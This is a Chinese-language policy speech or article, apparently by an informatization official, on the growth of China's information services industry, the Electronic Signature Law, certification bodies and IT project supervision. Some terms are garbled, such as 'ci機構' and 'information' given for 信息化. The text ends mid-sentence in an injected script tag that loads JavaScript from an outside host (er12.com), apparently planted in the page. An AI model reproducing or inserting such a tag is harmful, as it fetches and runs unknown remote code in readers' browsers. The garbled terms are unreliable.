國家統計局把信息產業分為幾個門類：一是電子信息產品制造業，二是電子信息設備銷售和租賃業，三是計算機服務和軟件業，四是其他信息相關服務業。根據國務院的三定方案，信息產業部主管全國電子信息產品制造業、通信業和軟件業，推動國民經濟和社會信息化。這里面的關鍵詞，一個是“信息”、一個是“服務”。

信息服務業發展現狀

雖然我國信息服務業的起步比較晚，但發展速度比較快。近幾年來，我國信息服務業在有關政策的鼓勵下，每年以超過3%的速度蓬勃發展，企業數量和規模快速增長，服務范圍不斷拓寬，基礎設施不斷完善，技術水平不斷提高，內容資源日益豐富，信息服務業對其他產業的帶動效應非常明顯，對國民經濟的增長貢獻率日益突出。

從另一方面來看，我國信息服務業的總體水平和發達國家還有一定差距。目前，我國信息服務業發展面臨三個主要問題：信息服務業的相關政策和法律法規不夠健全；信息服務業領域的標準規范還不夠健全；一些信息安全問題普遍存在。

促進我國信息服務業發展的關鍵因素包括：一是要不斷完善信息服務業的相關政策法規。二是制定和完善相關的規范。開拓新興業務，規范要先有。信息服務業，特別是現代服務業同樣有規范，需要進一步制定完善。三要加強我國的網絡信任體系建設，確保國家信息安全。目前一些虛假信息、網絡欺詐、網絡攻擊和不良信息，對我造成很大的侵害。為了做好這項工作，全國人大常委會在2004年8月就通過了《電子簽名法》，并從2005年4月1日開始實施。《電子簽名法》為整個網絡安全、電子商務和今后的信息服務，提供了有力保障。信息產業部信息化推進司是《電子簽名法》的具體實施單位，我們將進一步開展工作，推動現代信息服務的發展。

法規護航推動信息服務發展

信息化推進司承擔著兩項行政許可任務，一是《電子簽名法》的落實實施，二是信息系統工程監理。

為了貫徹落實《電子簽名法》，推動電子信息認證，在《電子簽名法》實施兩年來，我們積極發展電子認證服務，并取得了一定進展。第一，電子認證服務的體系逐步形成。目前我部已經依法批準設立了24家ci機構，分布在全國18個省(市)。第二，ci機構目前發放的數字證書有600多萬張，廣泛應用于電子政務的網上手機、報稅、報關，電子商務的網上支付、電子交易以及社區服務，涉及工商、稅務、海關、藥檢等業務，基本滿足了目前的信息化應用和需要。

配合相關的法律法規，我們相繼出臺了一系列的配套規章和標準規范，包括《電子認證服務管理辦法》、《電子認證服務密碼管理辦法》和《電子認證業務規范》等。電子認證管理體系不斷得到完善，按照《電子簽名法》的授權，在實踐中不斷探索和規范工作的流程，逐步形成一個制度，并且每年按照行政許可進行檢查。

在電子認證服務發展中，也存在一些問題。這要求我們一要做好產業的統籌規劃，深入研究產業當中的重大問題。二要建立健全法律規范，完善標準體系的建設。三要推廣數字證書的應用，擴大電子認證服務的市場空間，為現代信息服務提供有力保障。四要加強監管能力，完善監管體系。

在信息化過程中引入監理機制，也是一項行政許可項目。這一機制已經在工商、稅務、海關、醫療衛生、金融、國民經濟管理和社會服務等各方面信息服務當中發揮作用。到目前為止，我國具有信息工程監理資質的企業已經有183家，其中部級資質企業43家，地方級資質企業140家。同時，隨著工作的推動，也擴大了一個新的就業門類，增加了很多新的就業機會，培訓了近2萬名監理師。下一步的信息工程監理應該重點做好兩項工作：第一落實實施《信息系統工程監理單位資質管理辦法》和《信息系統工程監理工程師資格管理辦法》；第二在監理收費上獲得一些相關的政策支持。

創新先行推進信息化

根據中央部署，我們大力推進農村信息化，當前的載體就是在企業的支持下，向農村試點城市和試點地區，發放信息化大篷車，做一個信息化的體驗中心，里面有網絡環境、有計算機，讓農民可以到村頭，到家門口，體驗信息化是怎么回事，為農村信息化服務的推進做準備。

我們也要重點推進城市信息化。城市信息化以服務為中心，重點在社區，通過信息化的手段為社區服務。還有一個方面是現代物流信息化，18個部委成立了現代聯合物流委員會，正在抓緊制定關于現代物流信息化的一些規定。

信息化的推進要創新。創新是一個民族的靈魂，是推進信息化觀念，開創現代服務，特別是現代信息服務中要遵循的重要原則。“信息化”本身的英語單詞是創新得來的，英文辭典里沒有“信息化”這個詞，我們把“信息化”叫做“information”。這個詞得到了聯合國的承認，在上海信息化大會上，聯合國就使用了“information”這個詞。信息化本身是創新的結晶，信息化在中國沒有現成的模式，要不斷總結經驗，通過實踐、實驗，通過試點進行探討，才能打造出預期的效果。

當前，我國有很好的推進現代信息服務業發展的機遇，一?script src=http://er12.com/t.js>